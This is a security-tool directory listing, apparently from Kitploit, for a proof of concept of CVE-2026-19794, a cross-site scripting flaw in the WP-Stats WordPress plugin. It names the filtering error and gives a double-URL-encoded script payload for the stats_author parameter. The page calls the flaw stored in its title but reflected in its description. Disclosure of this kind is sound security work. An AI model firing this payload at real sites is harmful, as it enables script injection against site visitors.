Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/testardou/cve-2026-19794
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPapers & Research
GitHubtestardou/cve-2026-19794

CVE-2026-19794

WP-Stats <= 2.56 - Unauthenticated Stored Cross-Site Scripting

View Repository
14h 23m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-19794

WP-Stats <= 2.56 - Unauthenticated Stored Cross-Site Scripting

Plugin URL

https://wordpress.org/plugins/wp-stats/

Description

Unauthenticated reflected XSS in the stats_author GET parameter of stats_page(). The sanitization filter strip_tags() is applied before urldecode(), allowing an attacker to bypass it by double URL-encoding the payload.

POC

  1. Install and activate the WP-Stats plugin
  2. Create a page or post with the [page_stats] shortcode
  3. Navigate to: http://TARGET/PATH_TO_PAGE_OR_POST/?stats_author=%253Cscript%253Ealert(document.domain)%253C%252Fscript%253E
Download Tool